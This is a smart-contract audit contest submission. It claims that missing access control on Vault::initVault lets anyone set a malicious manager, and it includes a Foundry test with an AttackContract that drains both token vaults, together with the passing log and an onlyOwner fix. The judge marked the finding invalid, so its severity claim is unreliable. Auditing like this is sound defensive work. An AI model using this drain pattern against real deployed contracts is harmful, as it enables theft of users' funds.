Beginner FriendlyFoundryNFT
100 EXP
View results
Submission Details
Severity: high
Invalid

Missing access control in ```Vault::initVault``` can lead to exploit the vaults

Summary

The Vault::initVault function allows any address to initialize the vault by setting the managerContract. This lack of access control poses a significant security risk because a malicious actor can deploy a contract that acts as a manager and exploit the vault's funds.

Vulnerability Details

The Vault::initVault function lacks proper access control mechanisms, allowing any address to call the function and set the managerContract. This can lead to the following issues:

  • Unauthorized Initialization: Any address can initialize the vault, potentially leading to the setup of a malicious manager contract.

  • Fund Manipulation: A malicious manager contract can be designed to drain funds from the vault or manipulate token distributions.

@> function initVault(ILoveToken loveToken, address managerContract) public {
if (vaultInitialize) revert Vault__AlreadyInitialized();
loveToken.initVault(managerContract);
vaultInitialize = true;
}

Impact

The impact of this vulnerability is high, as it can lead to loss of funds stored in the vault and disruption of the intended operations of the protocol.

Copy and paste this code into a AttackTest.t.sol and run:

forge test --match-test testStealFunds -vv

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.23;
import {Test, console2} from "forge-std/Test.sol";
import {IVault} from "../../src/interface/IVault.sol";
import {ISoulmate} from "../../src/interface/ISoulmate.sol";
import {ILoveToken} from "../../src/interface/ILoveToken.sol";
import {IStaking} from "../../src/interface/IStaking.sol";
import {Vault} from "../../src/Vault.sol";
import {Soulmate} from "../../src/Soulmate.sol";
import {LoveToken} from "../../src/LoveToken.sol";
import {Airdrop} from "../../src/Airdrop.sol";
import {Staking} from "../../src/Staking.sol";
contract AttackTest is Test {
Soulmate public soulmateContract;
LoveToken public loveToken;
Staking public stakingContract;
Airdrop public airdropContract;
Vault public airdropVault;
Vault public stakingVault;
AttackContract public attackContract;
address deployer = makeAddr("deployer");
address soulmate1 = makeAddr("soulmate1");
address soulmate2 = makeAddr("soulmate2");
function setUp() public {
vm.startPrank(deployer);
airdropVault = new Vault();
stakingVault = new Vault();
soulmateContract = new Soulmate();
loveToken = new LoveToken(ISoulmate(address(soulmateContract)), address(airdropVault), address(stakingVault));
stakingContract = new Staking(
ILoveToken(address(loveToken)), ISoulmate(address(soulmateContract)), IVault(address(stakingVault))
);
airdropContract = new Airdrop(
ILoveToken(address(loveToken)), ISoulmate(address(soulmateContract)), IVault(address(airdropVault))
);
attackContract = new AttackContract(address(loveToken));
vm.stopPrank();
}
function testStealFunds() public {
address user = makeAddr("user");
//Set the manager of the vaults to the attack contract
airdropVault.initVault(ILoveToken(address(loveToken)), address(attackContract));
stakingVault.initVault(ILoveToken(address(loveToken)), address(attackContract));
console2.log("Airdrop vault balance before attack", loveToken.balanceOf(address(airdropVault)));
console2.log("Staking vault balance before attack", loveToken.balanceOf(address(stakingVault)));
console2.log("Attack contract balance before attack", loveToken.balanceOf(address(attackContract)));
vm.startPrank(address(user));
attackContract.stealTokens(address(airdropVault));
assertEq(loveToken.balanceOf(address(attackContract)), 500000000e18);
assertEq(loveToken.balanceOf(address(airdropVault)), 0);
attackContract.stealTokens(address(stakingVault));
assertEq(loveToken.balanceOf(address(stakingVault)), 0);
assertEq(loveToken.balanceOf(address(attackContract)), 1000000000e18);
console2.log("Airdrop vault balance after attack", loveToken.balanceOf(address(airdropVault)));
console2.log("Staking vault balance after attack", loveToken.balanceOf(address(stakingVault)));
console2.log("Attack contract balance after attack", loveToken.balanceOf(address(attackContract)));
vm.stopPrank();
}
}
contract AttackContract {
ILoveToken private loveToken;
constructor(address _loveTokenAddress) {
loveToken = ILoveToken(_loveTokenAddress);
}
function stealTokens(address realManagerContract) external {
loveToken.transferFrom(realManagerContract, address(this), 500_000_000e18);
}
}
[PASS] testStealFunds() (gas: 71304)
Logs:
Airdrop vault balance before attack 500000000000000000000000000
Staking vault balance before attack 500000000000000000000000000
Attack contract balance before attack 0
Airdrop vault balance after attack 0
Staking vault balance after attack 0
Attack contract balance after attack 1000000000000000000000000000
Test result: ok. 1 passed; 0 failed; 0 skipped; finished in 6.52ms

The test shows that setting the AttackContract as ManagerContract all the funds from Airdrop Vault and Staking Vault can be drained.

Tools Used

Manual review

Recommendations

Implement access control to restrict the ability to initialize the vault to authorized addresses only.

+ import {Owned} from "@solmate/auth/Owned.sol";
- contract Vault {
+ contract Vault is Owned {
+ constructor() Owned(msg.sender) {}
...
- function initVault(ILoveToken loveToken, address managerContract) public {
+ function initVault(ILoveToken loveToken, address managerContract) public onlyOwner{
if (vaultInitialize) revert Vault__AlreadyInitialized();
loveToken.initVault(managerContract);
vaultInitialize = true;
}
Updates

Lead Judging Commences

0xnevi Lead Judge over 1 year ago
Submission Judgement Published
Invalidated
Reason: Other

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.